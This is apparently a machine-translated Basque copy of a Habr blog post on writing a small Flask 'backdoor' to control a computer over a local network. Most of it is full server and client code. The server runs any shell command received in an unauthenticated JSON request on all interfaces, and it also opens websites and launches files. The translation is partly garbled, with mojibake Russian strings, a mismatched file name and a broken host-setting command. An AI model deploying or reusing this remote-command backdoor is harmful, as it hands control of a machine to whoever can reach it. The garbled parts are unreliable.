Flask-en atzeko ate txiki bat edo nola kontrolatu ordenagailu bat sare lokal batean

Aupa Habr!

Duela gutxi "Nola sortu zure web aplikazioa Flask-en" programazioaren korrontearen deskargatutako bertsio bat ikusi nuen. Eta nire ezagutzak proiekturen batean finkatzea erabaki nuen. Denbora luzez ez nekien zer idatzi eta ideia sortu zitzaidan: "Zergatik ez egin mini-backdoor bat Flasken?"

Atzeko atearen inplementazio eta gaitasunen lehen aukerak berehala agertu zitzaizkidan buruan. Baina berehala atzeko atzeko gaitasunen zerrenda egitea erabaki nuen:

  1. Webguneak irekitzen jakitea
  2. Komando-lerroko sarbidea izan
  3. Programak, argazkiak, bideoak irekitzeko gai izan

Beraz, lehen puntua oso erraza da inplementatzeko web-arakatzailearen modulua erabiliz. Bigarren puntua os modulua erabiliz ezartzea erabaki nuen. Eta hirugarrena os moduluaren bidez ere bada, baina "estekak" erabiliko ditut (geroago gehiago).

Zerbitzari bat idazten

Beraz, *drumroll* zerbitzariaren kode guztia:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'The server is running and waiting for commands...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Site opening ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Command execution ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Kode guztia bota dut dagoeneko, funtsa azaltzeko garaia da.

Kode guztiak 5000 atakan dagoen ordenagailu lokalean exekutatzen dira. Zerbitzariarekin elkarreragiteko, JSON POST eskaera bat bidali behar dugu.

JSON eskaeraren egitura:

{β€˜command’:  β€˜comecommand’, β€˜data’: β€˜somedata’}

Beno, zentzuzkoa da 'agindua' exekutatu nahi dugun komandoa izatea. Eta 'datuak' komandoaren argumentuak dira.

JSON eskaerak idatzi eta bidali ditzakezu eskuz zerbitzariarekin elkarreragiteko (eskaerek lagunduko dizute). Edo kontsola bezero bat idatzi dezakezu.

Bezero bat idaztea

kodea:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Written on Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Author: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Комманда Π½Π΅ содСрТит Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Комманда Π½Π΅ содСрТит Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Azalpenak:

Lehenik eta behin, eskaerak modulua inportatzen da (zerbitzariarekin elkarreragiteko). Jarraian, hasierako eta probako funtzioen deskribapenak daude. Eta gero magia gertatzen den zikloa. Irakurri al duzu kodea? Beraz, zikloan gertatzen den magiaren esanahia ulertzen duzu. Sartu komandoa - exekutatzen da. Shell - komando-lerroko komandoak (logika eskalaz kanpo dago).

Probatu: egiaztatu zerbitzaria martxan dagoen (atzeko atea)
Esteka - "lasterbide" bat erabiltzea
Openweb - webgune bat irekitzea
Irten - irten bezeroa
Ezarri: zure ordenagailuaren ip-a sare lokalean ezartzea

Eta orain loturari buruz gehiago.

Zerbitzariaren ondoan link.txt fitxategi bat dago. Fitxategietarako estekak (bide osoa) (bideoak, argazkiak, programak) ditu.

Egitura honelakoa da:

ΠΏΠΎΠ»Π½Ρ‹ΠΉ_ΠΏΡƒΡ‚ΡŒ>описаниС
ΠΏΠΎΠ»Π½Ρ‹ΠΉ_ΠΏΡƒΡ‚ΡŒ>описаниС

Guztira

Sare lokal batean (wi-fi sare baten barruan) ordenagailu bat kontrolatzeko backdoor zerbitzaria dugu. Teknikoki, bezeroa python interpretea duen edozein gailutatik exekutatu dezakegu.

PS Set komandoa gehitu dut, sare lokaleko ordenagailu bati beste IP bat esleitzen bazaio, zuzenean bezeroan alda daiteke.

Iturria: www.habr.com

Gehitu iruzkin berria